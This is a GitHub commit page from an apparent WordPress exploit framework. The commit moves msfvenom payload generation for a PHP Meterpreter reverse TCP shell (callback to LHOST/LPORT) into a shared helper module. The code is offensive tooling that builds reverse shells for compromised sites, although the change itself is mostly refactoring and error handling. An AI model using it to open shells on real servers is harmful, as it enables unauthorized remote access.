Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c163ad8

Browse files
committed
Create new helper for payloads using msfvenom
1 parent 3db8d82 commit c163ad8

File tree

2 files changed

+48
-28
lines changed

2 files changed

+48
-28
lines changed

payloads/meterpreter_reverse_tcp.rb

Lines changed: 4 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -5,17 +5,13 @@ module Wpxf::Payloads
55
class MeterpreterReverseTcp < Wpxf::Payload
66
include Wpxf
77
include Wpxf::Options
8+
include Wpxf::Payloads::MsfVenomHelper
89

910
def initialize
1011
super
1112

13+
register_msfvenom_options
1214
register_options([
13-
StringOption.new(
14-
name: 'msfvenom',
15-
required: true,
16-
default: 'msfvenom',
17-
desc: 'The path to the msfvenom executable'
18-
),
1915
StringOption.new(
2016
name: 'lhost',
2117
required: true,
@@ -38,32 +34,12 @@ def lport
3834
normalized_option_value('lport')
3935
end
4036

41-
def msfvenom
42-
normalized_option_value('msfvenom')
43-
end
44-
4537
def raw
46-
@meterpreter_payload
38+
msfvenom_payload
4739
end
4840

4941
def prepare(mod)
50-
mod.emit_info 'Generating Meterpreter payload...'
51-
begin
52-
stdout, stderr = Open3.capture3(msfvenom, '-p', 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
53-
rescue Errno::ENOENT => e
54-
mod.emit_error e.to_s, true
55-
mod.emit_error 'msfvenom not found - check the msfvenom payload option'
56-
return false
57-
end
58-
59-
if stdout.empty?
60-
mod.emit_error 'Failed to generate the Meterpreter payload'
61-
mod.emit_error stderr
62-
return false
63-
end
64-
65-
@meterpreter_payload = stdout
66-
true
42+
generate_msfvenom_payload(mod, 'php/meterpreter/reverse_tcp', "LHOST=#{host}", "LPORT=#{lport}")
6743
end
6844
end
6945
end

payloads/msfvenom_helper.rb

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Provides common functionality for generating payloads using msfvenom.
2+
module Wpxf::Payloads::MsfVenomHelper
3+
include Wpxf
4+
include Wpxf::Options
5+
6+
def register_msfvenom_options
7+
register_options([
8+
StringOption.new(
9+
name: 'msfvenom',
10+
required: true,
11+
default: 'msfvenom',
12+
desc: 'The path to the msfvenom executable'
13+
)
14+
])
15+
end
16+
17+
def msfvenom
18+
normalized_option_value('msfvenom')
19+
end
20+
21+
def msfvenom_payload
22+
@meterpreter_payload
23+
end
24+
25+
def generate_msfvenom_payload(mod, payload_name, *args)
26+
mod.emit_info 'Generating payload...'
27+
begin
28+
stdout, stderr = Open3.capture3(msfvenom, '-p', payload_name, *args)
29+
rescue Errno::ENOENT => e
30+
mod.emit_error e.to_s, true
31+
mod.emit_error 'msfvenom not found - check the msfvenom payload option'
32+
return false
33+
end
34+
35+
if stdout.empty?
36+
mod.emit_error 'Failed to generate the payload'
37+
mod.emit_error stderr
38+
return false
39+
end
40+
41+
@meterpreter_payload = stdout
42+
true
43+
end
44+
end

0 commit comments

Comments
 (0)